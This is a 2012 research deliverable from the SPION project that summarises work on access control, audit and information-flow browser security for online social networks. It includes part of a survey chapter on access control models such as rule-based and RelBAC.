Document type: Report
Title: D3.1 - Report on Research Activities in Trust, reputation and access control

Work Package: WP3
Deliverable Number: D3.1
Editor(s): Frank Piessens, iMinds-DistriNet, KU Leuven
Dissemination level: Public
Preparation date: 17. Dec 2012
Version: 1.0

Legal Notice
All information included in this document is subject to change without notice. The Members of the IWT SBO SPION project make no warranty of any kind with regard to this document, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. The Members of the IWT SBO SPION project shall not be held liable for errors contained herein or direct, indirect, special, incidental or consequential damages in connection with the furnishing, performance, or use of this material.
The IWT SBO SPION Project

<table>
<thead>
<tr>
<th>Nr.</th>
<th>Participant name</th>
<th>Country</th>
<th>Department</th>
<th>Participant role</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>K.U. Leuven</td>
<td>BE</td>
<td>COSIC/ESAT</td>
<td>Coordinator</td>
</tr>
<tr>
<td>2</td>
<td>K.U. Leuven</td>
<td>BE</td>
<td>DISTRINET</td>
<td>Partner</td>
</tr>
<tr>
<td>3</td>
<td>K.U. Leuven</td>
<td>BE</td>
<td>DTAI</td>
<td>Partner</td>
</tr>
<tr>
<td>4</td>
<td>K.U. Leuven</td>
<td>BE</td>
<td>ICRI</td>
<td>Partner</td>
</tr>
<tr>
<td>5</td>
<td>Vrije Universiteit Brussel</td>
<td>BE</td>
<td>SMIT</td>
<td>Partner</td>
</tr>
<tr>
<td>6</td>
<td>University of Ghent</td>
<td>BE</td>
<td>OWK</td>
<td>Partner</td>
</tr>
<tr>
<td>7</td>
<td>Carnegie Melon University</td>
<td>USA</td>
<td>Heinz</td>
<td>Partner</td>
</tr>
</tbody>
</table>

Contributors

<table>
<thead>
<tr>
<th>Name</th>
<th>Organisation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bettina Berendt</td>
<td>DTAI, KU Leuven</td>
</tr>
<tr>
<td>Bo Gao</td>
<td>DTAI, KU Leuven</td>
</tr>
<tr>
<td>Dave Clarke</td>
<td>iMinds-DistriNet, KU Leuven</td>
</tr>
<tr>
<td>Dominique Devriese</td>
<td>iMinds-DistriNet, KU Leuven</td>
</tr>
<tr>
<td>Frank Piessens</td>
<td>iMinds-DistriNet, KU Leuven</td>
</tr>
<tr>
<td>Jo Pierson</td>
<td>iMinds-SMIT, VUB</td>
</tr>
<tr>
<td>Leandro Doctors</td>
<td>iMinds-DistriNet, KU Leuven</td>
</tr>
<tr>
<td>Nick Nikiforakis</td>
<td>iMinds-DistriNet, KU Leuven</td>
</tr>
<tr>
<td>Ralf De Wolf</td>
<td>iMinds-SMIT, VUB</td>
</tr>
<tr>
<td>Rula Sayaf</td>
<td>iMinds-DistriNet, KU Leuven</td>
</tr>
<tr>
<td>Thomas Peetz</td>
<td>DTAI, KU Leuven</td>
</tr>
<tr>
<td>Tom Reynaert</td>
<td>iMinds-DistriNet, KU Leuven</td>
</tr>
<tr>
<td>Willem De Groef</td>
<td>iMinds-DistriNet, KU Leuven</td>
</tr>
</tbody>
</table>

Version 1.0
Table of Contents

1 EXECUTIVE SUMMARY ................................................................. 5
  1.1 ACCESS CONTROL AND AUDIT RESEARCH 5
  1.2 IMPROVEMENTS IN BROWSER SECURITY 6
  1.3 FUTURE WORK 7
1 Executive Summary

The third work package of the SPION project investigates software-based techniques for enforcing security and privacy policies in social networks. This first deliverable of that work package reports on the research results obtained in the first two years of the project. These research results are mainly communicated as research papers (as also described in the Description of Work in the SPION project proposal).

Hence, this deliverable is structured as follows. First, in this executive summary, we provide a brief summary of the various research papers that resulted from the research in this work package, and we discuss how they fit in the overall project. Next, we include copies of each of the papers. These papers each provide more technical details about specific research results obtained.

The research performed over the last two years can be categorized in two lines:

- **Access control, accountability and audit in online social networks**: in this research line we study application level mechanisms to offer social software users more and easier control over their private information.
- **Improvements in browser security**: in this research line we study how information-flow secure browsers can be realized, and can enable a more secure implementation of online social networks.

In summary, the work performed in this work package has been very successful. The proposal anticipated the publication of four research papers (three conference-level and one workshop-level paper). Not only did we achieve these publications, in addition two works were presented at the For Your Eyes Only doctoral school and will be submitted for publication in the near future. Moreover, some of the key results have been implemented in useful prototypes, and one of these prototypes (the FlowFox browser) was presented at the top security conference world-wide, ACM CCS. The work on online context management in the access control line of research was done in close collaboration with Work Package 5, and the resulting paper is joint interdisciplinary work between participants from both workpackages.

1.1 Access Control and Audit Research

Our first step to research about access control is to review the current state-of-the-art on access control models for social software. For this purpose, we have surveyed access control models, resulting in the first paper included in this deliverable:


This book chapter surveys access control models ranging from classical general-purpose models to OSN-specific specific models. Based on the study of currently available research of access control, we have identified open problems that can be solved by access control. We have also proposed a list of requirements to guide future research on access control in both centralised and decentralised social software.

Based on these requirements, we have described a theoretical approach towards addressing one of the most essential problems in social software, namely, context and contextual privacy problems. In a second paper included in this deliverable, namely:

we describe two theoretical solutions for context and contextual privacy problems. By facilitating contextual privacy in social software, protection of content can be possible over any context through the OSN.

Towards enhancing the access control of social software users, we have examined the available tools in current social software. In Facebook, users are provided with tools to create lists of their friends to enhance access control policies. By creating friendlists, a user can disclose content to a small group of specific friends rather than disclosing content to either “Friends”, “Public”, or listing the intended audience individually.

A tool was developed in SPION that would help users to group their friends based on the most common features among the set of friends, and based on the existing sub-communities in this set. The tool provides the user with a graphical representation of the possible grouping of friends. It also provides the user with the possibility to give feedback to the tool in order to manipulate the clustering algorithm. This work proposes other ways for a user to group their friends automatically, in order to facilitate creating more friendlists and thus define access control policies in a more fine-grained pattern. This work is reported in a third research paper included in this deliverable:


In parallel, we have examined current research on accountability and audit for social software. As a first step towards developing an accountability and audit framework, we have started to develop a simulation platform for experimentation of audit mechanisms. In this work, we have already implemented a minimal policy-aware transaction audit logs component. The status of this work is reported in the fourth paper included in this deliverable:


### 1.2 Improvements in browser security

The current web infrastructure does not provide adequate protection mechanisms against maliciously-behaving web scripts (e.g. malicious advertisements, or malicious or buggy social apps on online social network sites) that try to leak sensitive or confidential information from the user's browser towards the information-gathering endpoint of an adversary. Research has shown that these infrastructural vulnerabilities are exploited to leak user private information – both in the context of online social networks as well as in other contexts on the web.

One way of mitigating the threat of information leakage and assisting the helpless internet user, is by hardening the underlying infrastructure used to browse the world wide web. In the fifth paper included in this deliverable, we investigated to what extent information flow security techniques could help to enforce security and privacy on web scripts, the fundamental building blocks of web applications.


The outcome of that paper was the FlowFox prototype, a fully functional web browser enhanced with information flow technology. In practice, FlowFox prevents any web script from leaking sensitive or confidential information, according to a given user-defined policy, without breaking functionality.

Finally, in the sixth paper included in this deliverable, we show how FlowFox can be used to build a privacy-friendly social app platform:

This paper describes a novel, privacy-enhanced social application platform that protects the social application user's privacy. Modern social networking sites provide third-party application developers with a link to their social graph through a social application platform, in order to access personal information of their users. The current protection mechanisms fall short on protecting the privacy of social application users. We present a novel framework for a privacy-enhanced social application platform (PESAP) that protects the personal information of a user when interacting with these so-called social applications. The framework is based on anonymization of the social graph and information flow control provided by FlowFox.

1.3 Future work

We will continue our research in the topics we have discussed in this document. In the line of access control, we plan to finish two research papers about contextual privacy and about context-based access control for social software.

We plan to develop a tool that will make the audience of a user’s content visible and track their changes over time. This work aims at making the social context defined where users can control the context in which their content is disclosed and thus they can better manage their contextual privacy.

In the line of accountability and audit, we plan to research mechanisms that can be integrated with our work on context-based access control model, in order to enhance contextual privacy.

The research on browser and web infrastructure security will be continued with the investigation of how servers can collaborate with an information-flow aware browser in order to further strengthen the security and privacy guarantees that can be given about user private data manipulated in online social networks.
Research Papers
The remainder of this deliverable includes full copies of the following six papers that report the details of the research performed in WP3 of the SPION project:

- L. Doctors. Accountability and audit for online social networks - research summary. Presented at Doctor Masterclass accompanying the 'For your eyes only' conference, Brussels, 2012.
Access Control Models For Online Social Networks

Rula Sayaf and Dave Clarke
IBBT-Distrinet
Dept. of Computer Science
Katholieke Universiteit Leuven, Belgium

ABSTRACT
Access control is one of the crucial aspects in information systems security. Authorising access to resources is a fundamental process to limit potential privacy violations and protect users. The nature of personal data in online social networks (OSNs) requires a high-level of security and privacy protection. Recently, OSN-specific access control models (ACMs) have been proposed to address the particular structure, functionality and the underlying privacy issues of OSNs.

In this survey chapter, we introduce the essential aspects of access control and review the fundamental classical ACMs. We highlight the specific OSNs features and review the main categories of OSN-specific ACMs. Within each category, we survey the most prominent ACMs and their underlying mechanisms that contribute enhancing privacy of OSNs. Toward the end, we discuss more advanced issues of access control in OSNs. Throughout the discussion we contrast different models and highlight open problems. Based on these problems, we conclude our chapter by proposing requirements for future ACMs.

INTRODUCTION
Online social networks (OSNs) are social networks that are established through web-based services through which people can foster social relationships. Sites such as LinkedIn, Facebook, Google+, MySpace, etc, are therefore type of OSNs (Hafez Ninggal, Abawajy, 2011), but also blogging services, peer-to-peer, collaborative and content sharing sites such as Youtube and Flicker, and social bookmarking services such as CiteULike are also types of OSNs.

Users of OSNs create their own social spaces and upload different types of personal data such as photos, videos, texts, etc. OSNs facilitate easy social interaction by allowing users to establish relationships and connect to other users, who may be friends in the offline world or strangers.

One of the fundamental features of OSNs is the ability to share personal data with others in a relatively privacy-preserving manner. The recent surge of interest in OSNs has been coupled with serious privacy and security concerns, primarily caused by the lack of proper data protection means (Cutillo, Molva, & Strufe, 2009). For instance, users’ privacy concerns have affected the popularity of MySpace. Studies have showed that due to lack of privacy control on MySpace, users have abandoned this OSN (Baracaldo, López, Anwar, & Lewis, 2011) and have migrated to other OSNs for their better privacy-preserving means.

Access control mechanisms are employed in OSNs to enable users to control the dissemination of their own data and protect their privacy accordingly (Abiteboul et al., 2005). Other approaches are employed to protect rights and ownership of data, such as digital rights management (Rodriguez, Rodriguez, Carreras, & Delgado 2009), which we will review later, and watermarking of individual data (Bedi, Wadhai, Sugandhi, & Mirajkar, 2005). Both these approaches and access control models are intended to improve privacy preservation of OSN users.

However, there are many underlying problems in access control mechanisms used in current OSNs. First, only a small percentage of users change the default access control settings to define
their own access control policies (Gross & Acquisti, 2005). Second, when these access control mechanisms are used they fail to address the required fine-grained control to avoid privacy violations (Masoumzadeh & Joshi, 2010). The sensitive personal data in OSNs requires a high-level of protection by means of appropriate access control (Gates, 2007). An inherent challenge is how to define an appropriate ACM to regulate access to OSNs’ users’ data. ACMs should offer a fine-grained control that captures the specific structure and features of an OSN. Mostly, data dissemination is based on relationships represented in the OSN. Therefore, simple access control lists (Cankaya, 2011) and even more advanced classical ACMs fail to satisfy access control requirements of OSN, as they are not based on the specific properties of social relationships.

Recently, various ACMs have been specifically proposed to address OSN privacy-protection requirements. In this chapter we focus on OSN-specific problems and requirements and how those are tackled by different ACMs.

BACKGROUND AND PRELIMINARY NOTIONS

Online Social Networks
A social network (SN) is a set of people connected to each other by social relationships. Offline Social Networks refer to real-world social communities. Online Social Networks (OSNs) are web-based services that offer the functionality of creating a personal representation of one’s self through which one can socialize with others. A user is represented in the OSN via a profile to which personal data can be added. An owner is a user who adds her data, referred to as objects, and can share them with others.

A main feature of OSNs is the articulation of various types of relationships between profiles to facilitate the social communication with others. The social communication includes various activities such as sharing objects, creating groups, organizing online and offline events, etc.

Users in an OSN and their relationships form a social graph. Nodes and links in the graph denote users and relationships, respectively (Carminati, Ferrari, & Perego, 2006b). Each pair of users in the graph is connected via a path of links between them. The distance between two users measures the number of links of the shortest path between the two corresponding nodes. The social graph is commonly utilized as an abstraction of OSNs upon which ACMs are formalized.

Access Control Models
An access control model (ACM) is a formalization of how policies are composed based on a specific set of features in the system to regulate and authorise access to data. An access control policy defines constraints on whether an access request to an object should be granted or denied. In the context of OSNs, a requestor initiates a request asking for a specific permission on a specific object from its owner. The owner regulates access to and dissemination of her objects by means of defined access control policies. Once a request is authorised, the specific set of permissions entailed by the policy will be granted to the requestor, who is then referred to as the accessor. Delegation is entrusting a user (delegate) to act on an object with the authority of the object owner (delegator). Delegation of authority is convenient for OSNs where users trust each other to further disseminate their objects over the network.

Access control is a two-fold control, authoritative or prohibitive. Most ACMs formalize authoritative, or positive, policies only by assuming a closed-world model (Samarati & Vimercati, 2001). In the closed-world model a request can only be honored by an existing authoritative policy or else it will be denied. In many cases, conflicting policies and hierarchy-propagated policies (Carminati, Ferrari, Heatherly, Kantarcioğlu, & Thuraisingham, 2009) might unexpectedly authorise a request and violate the privacy of the owner. Therefore, prohibitive, or negative, policies are crucial to limit accidental authorisations of positive policies. Positive and negative policies are enforced in access control in a mutual exclusion pattern (Samarati & Vimercati, 2001). This pattern authorises a request if this request is entailed by a positive policy and not
denied by a negative policy. This approach ensures more controlled authorisation, contributing to more protection against imprecisely defined access control policies.

For each ACM there should be a specific enforcement mechanism to enforce policies in the system. The enforcement mechanism verifies a request and matches it against defined policies to infer an authorisation decision with the right permission to be granted. In OSNs, either a centralized authority, a reference monitor, decentralized authorities or users themselves, can carry out policies enforcement.

Next, we will review the central classical ACMs to establish a sufficient background, before discussing OSN-specific models.

**Classical Access Control Models**

Access control mechanisms are used in information systems to mitigate security and privacy risks of unauthorised access to data. Those mechanisms vary depending on the underlying structure of the system and the levels of protection needed. The first abstraction of an access control model is the access control matrix (Lampson, 1974). The matrix model describes the system as a protection state by defining a list of access permissions of each subject. A reference monitor guards access to objects based on the protection state of the system. A major drawback of this model is the static nature of defining permissions for all the system’s subjects. The matrix model lacks abstraction possibilities for groups of subjects and objects. This entails that for each new subject in the system, new lists should be created to guard access to each existing object; the same also applies for each new object in the system. The overhead of changing the protection state limits the applicability of the matrix in large-scale systems. More advanced models expand upon earlier models with specific enhancements to address requirements, identified weaknesses and limitations in expressiveness. These models are more suited to emerging structure and context changes of systems.

**Administrative Access Control Models**

ACMs can be categorized into three models based on the administration method (Chinaei, Barker, Frank &., 2009):

1. Mandatory Access Control (MAC) (Bell & LaPadula, 1973) is a central authority system that enforces a lattice-based representation of objects and subjects using specific security or sensitivity levels. System administrators define the security level classifications of subjects and objects to guard access authorisations in the system. A policy constrains access based on the security level of the requestor and the security level of the object to be accessed. MAC models are employed in systems where high security needs to be maintained.

2. Discretionary Access Control (DAC) (United States Department of Defense, 1985), or identity-based access control (IBAC), enables system subjects to decide on how to grant permissions to other subjects in the system without any authority involvement. A subject is entitled to define constraints that should be satisfied by an entity in order to be granted specific access permission. DAC models are employed in systems where subjects are responsible for guarding access to their own objects, e.g., OSNs. Other models such as the model of Carminati, Ferrari, Heatherly, Kantarcioglu, and Thuraisingham (2009) extend the DAC concept by enabling users to also define sets of constraints to filter access requests before granting access. DAC and MAC are not mutually exclusive and can be jointly applied, as in the Chinese Wall model (Kessler, 1992).

3. Role-based Access Control (RBAC) is an alternative model for systems that define specific roles of subjects. Roles are abstract descriptions of what subjects are entitled to perform in the system. Access to an object is dependent on the role assigned to the requestor and the permissions associated to this role. Roles can have different positive and negative permissions, if the model defines negative policies. When different roles are assigned to one subject then the authorised permissions might result in conflicts. The main issues of concern in RBAC are how to assign roles to subjects statically and/or dynamically, and how to guarantee that no conflicts will arise. F. Chen and Sandhu (1995) addressed the assignment of non-conflicting roles by applying constraints. In their approach, constraints can be used as invariants in the system or preconditions
for an action. For example, mutually exclusive roles can be validated by constraints to check that a user cannot have the two roles assigned at once (F. Chen & Sandhu, 1995). Schaad (2001) argues that the Separation of Duty constraints proposed by F. Chen and Sandhu (1995) could still cause conflicts if users are able to delegate roles. Schaad (2001) proposed a rule-based declarative separation of duty approach to statically and dynamically detect role-assignment constraint conflicts and further prohibit delegation of roles. In principal, separation of roles can be guaranteed (H. Chen & Li, 2006) based on the requirements highlighted in the work of Clark and Wilson (1987).

**Attribute-based Access Control Models**

Attribute-based Access control (ABAC) is another kind of access control model. ABAC formally describes policies based on attributes of subjects, objects and other environment-specific data. In comparison with RBAC, ABAC is more flexible by facilitating the definition of rich and fine-grained policies.

Attribute based encryption (ABE) is a more secure version of ABAC. In ABE, attributes are encrypted using a public and a secret key and distributed to users to which the composition of attributes applies. Bethencourt, Sahai, and Waters (2007) employ ABE for a group-based access control. In their Ciphertext-Policy Attribute-based Encryption model, private keys are defined by a set of attributes and embodied in the form of ciphertext. The ciphertext is a two-part component: an encrypted object and a set of attributes involved in the access control policy. For a request to be authorised, the attributes of the requestor must comply with the ciphertext’s attribute component. The policies can be expressed in a collision-resistant monotonic access tree structure. This structure allows a user to have access to more than one private key without being able to aggregate the keys or attributes to access data.

Classic policy models are not targeted to a specific type of system. In general, those models are too abstract to be employed in collaborative systems such as OSNs. OSNs systems have a particular structure and type of communication that requires flexible and highly expressive ACMs. Classical models fail to fully address the requirements of OSNs. However, we will discuss later in this chapter some classical models that have been adapted to OSNs. The adaptations basically focus on exerting more dynamic policy definition mechanisms using specific OSN features to support high granularity protection (Tolone, Ahn, Pai, & Hong, 2005).

**ACCESS CONTROL IN ONLINE SOCIAL NETWORKS**

In this section we provide an extensive overview of the main aspects of access control models as solutions to various privacy-related issues in OSNs. We start off by reviewing the main privacy problems reported in OSNs. We then provide the essential requirements proposed for OSN-specific ACMs. Then we survey the most prominent OSN-tailored ACMs. In the description of each model, we highlight the main contribution of the model and contrast different approaches. Towards the end of the chapter, we discuss the points in which ACMs need to be enhanced to address open privacy issues. We conclude our discussion by proposing more extensive requirements to fulfill the discussed issues of current OSN-specific ACMs, and to be considered in future research in this domain.

**Privacy Risks in Online Social Networks**

OSNs have grown in popularity and become a worldwide phenomenon (A. C. Squicciarini & Sundareswaran, 2009). The main features of fostering relationships and sharing data OSNs attract up to 4 users among each 5 Internet users (The State of Social Media 2011: Social is the new normal, 2012). Nonetheless, those features involve many privacy risks. A risk is defined as the insecurity about a potential negative consequence of a specific action (Havlena & DeSarbo, 1991) that is proportional to the likelihood of the negative consequence (Peter & Tarpey, 1975). Estimating risks is strongly coupled with how users perceive their privacy (Norberg, Horne, & Horne, 2007). The indisputable problem in OSNs is that users fail to correctly estimate privacy risks (Acquisti and Grossklags, 2005) and fail to match them to their actual behaviours in the
OSNs (Spiekermann, Grossklags, & Berendt, 2001); this is due to many reasons as we will discuss here.

Acquisti and Grossklags (2005) highlight the following reasons that hinder making proper privacy decisions:
- **Incomplete information** about the possible accessors that makes the risks involved indeterministic especially for external parties accessors.
- **Bounded rationality** (Simon, 1982) limits users' ability to rationalize about all available data. Even if a user has access to all data about possible accessors and who should not have access due to all the possible risks, the user's mental model would simplify the quantitative facts when making privacy-related decisions. The inferred decisions might be not very accurate for defining certain policies.
- Social preferences and patterns of data disclosure affect users’ decisions. Complete information utilization would not prevent privacy-related decisions from deviating from rationality under those effects.
- Failure in predicting the future preferences and the tendency to compromise in the present to get immediate benefits affects the future privacy status of users.

Users lack proper information about how to make informed privacy decisions (Acquisti & Grossklags, 2005). Therefore, the outcome of the decisions they make using the privacy management tools in current OSNs clashes with their expectations. In Facebook, only about 40% of the privacy settings enable access to data as the owner expects (Lipford, Besmer, & Watson, 2008). The rest of the settings enable more users to access than the owner expects. Users contribute to this discrepancy by acting differently to the privacy concerns they express. Norberg, Horne and Horne (2007) coined the term “privacy paradox” to describe the relationship between users’ intentions of disclosure and their actual behaviour.

When users grant access to their data, they are concerned about their privacy. However, these concerns are multi-faceted. Users are more concerned about privacy when disclosing to close friends than to strangers (Gross & Acquisti, 2005). This can be explained based on the incomplete information factor about weak ties shared with strangers (Granovetter, 1973). OSNs facilitate the fostering and managing of a large number of weak ties very easily. Reasoning about the incomplete information to estimate privacy risks of weak ties makes those ties one the main reasons behind the difficulty of managing privacy in OSNs (Donath & Boyd, 2004). In addition, trust plays a significant role in disclosure decisions (Norberg, Horne, & Horne, 2007). Estimating trust for weak ties is a challenge that results in privacy risks.

The patterns of data sharing in OSNs further complicate reasoning about privacy. OSN users aim at expanding their social interactions within the network and sharing their objects on a large scale (A. C. Squicciarini, Shehab, & Wede, 2010). Indeed, OSNs are designed to encourage users to share. For instance, Facebook is designed to encourage disclosure of as much information as possible (Hu, Gail-Joon, & Jan, 2012). Facebook status textbox encourages users to update the status by showing the text “What’s on your mind?” in order to encourage users to write what’s on their minds as their status. Facebook users reveal significantly more identifying information about themselves than users in other OSNs (Dwyer, Hiltz, & Passerini, 2007). (Gross and Acquisti, 2005). A personal information revelation study states “Participants are happy to disclose as much information as possible to as many people as possible” (Gross and Acquisti, 2005, p. 2). As the social interactions evolve, more privacy threats arise. Social interactions with friends and friends of friends and so on, might lead to inappropriate disclosure of private information. This is often the case when users are not aware of who can access their objects (A. C. Squicciarini, Shehab, & Wede, 2010; Hogben, 2008).

Trying to mitigate privacy risks by limiting interaction on OSNs would not satisfy users needs. ACMs employed in OSNs should facilitate maximal privacy-preservation without hindering interaction. Access control tools in current OSNs are generally simplistic and coarse-grained (A. C. Squicciarini, Shehab, & Wede, 2010; Masoumzadeh & Joshi, 2010), which occasionally contributes to the failure of privacy protection required by users. All the reasons mentioned above contribute to specifically making OSNs users the victims of privacy violations (H. Wang & Sun, 2010).

We will now list the main OSNs challenges and privacy risks reported in the literature:
- Automatic identity theft (Leyla, Thorsten, Davide, & Engin, 2009), where an attacker can fake a profile of a user and establish connections with the victim’s friends resulting in accumulating sensitive communication data.
- Economic loss can be caused due to unauthorised access to data of users in OSNs (Tuunainen, Pitkanen, & Hovi, 2009).
- Data aggregation is possible for malicious users and third party applications (Acquisti et al., 2007).
- Reputation jeopardy of users, especially for prospective employer (Rosenblum, 2007).
- Hacking and phishing of personal data by third parties (Debatin, Lovejoy, Horn, & Hughes, 2009).
- OSNs profile pictures can be improperly used. For example, a personal profile photo from Facebook was publicly used to announce the death in the media (ABC Media Watch, Filleting Facebook. Australian Broadcasting Corporation (ABC), 29 October 07, 2007).
- OSNs-targeting worms that turns users machines into zombies on a botnet (New MySpace and Facebook Worm Target Social Networks, 2008).
- Cyberbullying and stalking by acquiring sensitive data about the victim user (Acquisti et al., 2007).
- Unwanted linkability from photos through the tags of other users who are not the owner of the photo (Acquisti et al., 2007).
- Blackmailing users (Gross & Acquisti, 2005).
- Price discrimination (Gross & Acquisti, 2005).
- Selling data to marketing companies (Rosenblum, 2007).
- Sexual predators, especially of kids, through accessing their sensitive data on OSNs (Rosenblum, 2007).
- Face recognition of profile images available on OSNs can result in users being tracked and recognized in other contexts, e.g., traffic cameras (Acquisti et al., 2007).

All of the previously mentioned issues intensify the fundamental necessity of enhancing security and privacy protection mechanisms of OSNs. To address the unforeseen threats, fine-grained ACMs are required to facilitate more control and protection over any type of data disclosed in the OSN (Masoumzadeh & Joshi, 2010). We do not explicitly suggest that access control is a solution to all the above-mentioned threats; however, guarding access to data is the first fundamental step towards privacy protection. Moreover, OSNs providers, such as Facebook and MySpace, support access control models to construct better trust basis with the privacy-concerned users (H. Wang & Sun, 2010).

**Access Control Models Requirements for OSNs**

OSNs can be viewed as group-like and collaborative systems, where various ACMs can be applicable for such systems. Same models include Task-based access control (Thomas & Sandhu, 1994; Thomas & Sandhu, 1998), Team-based access control (Thomas, 1997), and Context-based ACMs (Covington et al., 2001). These models are appropriate for OSNs more than the previously discussed classical models are.

In order to evaluate whether an ACM fits OSNs, we review the essential ACM requirements to effectively address security and privacy in OSN within Web 2.0 (Gates, 2007). An ACM should fulfill the following requirements:

- Requirement 1: Relation-based access control is a fundamental requirement to capture the main notion of OSNs. A model should distinguish different types of relationships and grant permissions appropriately (Villegas, Ali, & Maheswaran, 2008).
- Requirement 2: Fine granularity is required to control access to every single piece of data disclosed over the OSN.
- Requirement 3: Interoperability of access control policies to enable users to save and refer to their policies on different OSNs.
- Requirement 4: Sticky policies (Mont, Pearson, & Bramhall, 2003) should be enforced to encapsulate an object and its access control policies in one entity. This guarantees that access to an object is regulated according to the owner’s specification, regardless of who is delegated to disseminate this object.
The requirements address different access control aspects; requirement 1 and requirement 2 are related to the modeling. Requirement 3 is concerned with linking multiple OSNs frameworks and business models and thus raising issues that are out of access control models scope. The encapsulation of policies with objects in requirement 4 specifies access control enforcement approach that is not a fundamental part of the access control modeling. Therefore, access control models vary in the degree they address these requirements; most of the models are concerned with requirements 1&2. We will notice the variance in adoption of these requirements in the reviewed OSN-specific ACMs. We will refer to which requirements are satisfied by each model.

It is noteworthy that fine granularity contributes to the complexity of an ACM. This complexity negatively affects users and makes the construction of well-specified policies challenging, which results in privacy violations (Villegas, Ali, & Maheswaran, 2008). Finding models that compromise fine granularity and complexity towards user-friendliness with an acceptable level of privacy-preservation and protection is a challenge.

In the subsequent sections we will review the most common ACMs in the domain. The models are separated into sections based on the most prominent feature of the model.

**Rule-based Access Control Models**

In rule-based models (Didriksen, 1997) policies are based on rules that constrain authorization decisions based on various features. In an early OSN-specific ACM, Carminati, Ferrari, and Perego (2006b) capture relationships in a rule-based model. The work views the OSN as a social graph to capture particular relationship features on which the model is formalized. A directed link in the social graph represents a relationship from the initiator of the relationship to the receiver. The depth of a relationship is the length of the path. The notion of depth is used to distinguish between a direct and indirect relationship when the depth is = 1 or is > 1, respectively. Trust is another feature to distinguish relationships. Trust denotes how much the initiator of a relationship and all the users within the same path trust the receiver of the relationship. The model exploits the Web Ontology Language (OWL) (Oasis Committee. XACML 2.0 Specification., 2012) to represent the OSN and relationships features. Typically, a relationship is represented as an attribute of a User class ontology. Since in this model a relationship has many features, it cannot be modeled as an attribute. Using REL-X OWL vocabulary (Carminati, Ferrari, & Perego, 2006a), a relationship is represented as class ontology with features as class properties. Representing the relationship as a separate class makes reasoning about specific relationship properties feasible (Carminati, Ferrari, Heatherly, Kantarcioğlu, & Thuraisingham, 2009).

An access control rule is the composition of antecedent constraints about an access request, including the to-be-accessed object, and the requestor specifications that entail a specific set of access permissions or prohibitions (Carminati, Ferrari, Heatherly, Kantarcioğlu, & Thuraisingham, 2009). The relationship-based access control rules constrain access based on relationship features. Rules have the format:

\[
\text{Rule} = (\text{obj}_{id}, \text{Condset}); \quad \text{Condset} = \{\text{cond}_1, ..., \text{cond}_n\}
\]

where \(\text{obj}_{id}\) is the object to be accessed, \(\text{cond}_i\) is a tuple of a requestor relationship properties specifications, which has the form:

\[
\text{Cond} = (v, rt, D_{max}, t_{min}),
\]

where \(v\) is the object’s owner node, \(rt\) is the relationship type between the requestor and the object owner, \(D_{max}\) is the maximum depth, and \(t_{min}\) is the minimum trust. When a request is initiated on a specific object, the requestor’s has to prove that the relationship features she owns comply with the condition set of the rule defined. The model translates relationships and rules to logical formulas to easily generate and assert proofs. A rule is expressed as follows:

\[
\text{hasSubj}(?rel, ?x) \land \text{hasObj}(?rel, v) \land \text{hasType}(?rel, rt) \land \text{hasDepth}(?rel, ?D) \land \leq (?D, D_{max}) \land \text{hasTrust}(?rel, ?t) \land \geq (?t, t_{min}).
\]

where \(?x\) is the requestor, \(?rel\) is the relationship between the requestor and object owner.

Access control enforcement here is done at the client-side, inspired by the work of Weitzner, Hendler, Berners-Lee, and Connolly (2006). The model extends the distributed architecture of access control enforcement to be semi-decentralized and thereby overcome the burden of managing certificates. Trusted central nodes save users’ data and issue certificates of relationships and trust levels. A signed certificate by both users proves the existence of a direct relationship with a specific trust value. An indirect relationship certificate is a chain of certificates of all
relationships in its path; the trust level of this indirect relationship is the accumulated trust value of all sub relationships.

This early work establishes the basis for later OSN-specific access control models. This model conforms to requirements 1 and 2 by utilizing relationships and enriching the fine granularity of policies with various relationship features. Nonetheless, the rules are limited to relationship properties and do not include other aspects of OSNs such as various user, object, permission, and ownership types.

Role Based Access Control Models

RBAC is applicable in systems in which users can be distinguished and granted access based on different roles. This same distinction of users roles can clearly be realized in OSNs based on the distinction of different relationships users could share with others. Relation Based Access Control (RelBAC) (Giunchiglia, Zhang, & Crispo, 2008) is an RBAC model applicable to OSNs and other applications. RelBAC incorporates relation-based policies as well as role-based policies. This is significant to verify the identity and trust of users as well as relationships for authorisation. RelBAC views relationships differently from other relationship-based models, as we will discuss later. In this model, relations do not denote user-to-user relationships; rather, they denote user-to-object relationships. The user-to-object relationship is established when a user is granted a specific permission over an object. RelBAC is formalized in an Entity Relationship (ER) diagram of users, objects and permissions. The ER diagram is translated into a Description Logic (DL) representation. DL is a knowledge representation logic that facilitates rich system representation (Baader, Calvanese, McGuinness, Nardi, & Patel-Schneider, 2003). Users and objects are modeled as DL atomic concepts and permissions are modeled as DL roles. The model captures a dynamic organisation of users in terms of a hierarchy of groups and objects in a hierarchy of classes. Both hierarchies are linked to a permission hierarchy by means of n-ary relations; Users, Objects, and Permission hierarchies are denoted by means of subsumption axioms:

\[ X_i \sqsubseteq X_j : X_i^J \subseteq X_j^J, \]

where \( X_i, X_j \) are User, Object, or Permission sets. In a hierarchy where \( \text{Friend} \) is a user type that is a generalization of \( \text{Closefriend} \), the subsumption is expressed as:

\( \text{Closefriend} \sqsubseteq \text{Friend} \).

An ontology-based formalization of OSNs (Finin, Ding, Zhou, & Joshi, 2005) lends itself to represent hierarchies using Lightweight Ontologies (Giunchiglia, Marchese, & Zakhayevu, 2005). The representation captures access control rule instantiations of those permissions/relations. Similarly to the hierarchies, rules are articulated as one the three formulas:

\[ C \sqsubseteq P \lor C \equiv P \lor C \sqsupseteq P, \]

where \( C \) is a group of users or a class of objects, \( P \) is a class of permissions formulated in DL syntax, \( \equiv \) is equality operator and \( \sqsubseteq, \sqsupseteq \) are subsumption operators. For example, the following rule states that any user from the Friend group is allowed to download all objects of type Film:

\( \text{Friend} \sqsubseteq \exists \, \text{Download} \, . \text{Film} \).

The rule above is user-centric. A rule can also be object-centric. For example, the following rule states that all films can be downloaded by some friend:

\( \text{Film} \sqsubseteq \exists \, \text{Download}^{-1} \, . \text{Friend} \).

This formulation of rules allows the system to dynamically evolve the hierarchies without causing conflicts. Moreover, by using the DL atomic negation and complex concept negation, the model formalizes permission negation and denial of permissions, respectively. In addition, RelBAC employs quantificational constructs to represent n-ary relations between objects, users and permissions. This facilitates the expression of policies of an n-owned object by defining permissions of the owners, which we will discuss later in the chapter. Current OSNs and other ACM do not employ quantification constructs. This is advantageous for limiting the number of re-shares and limiting delegation of trust. Such expressiveness satisfies requirement 2 of fine granularity.

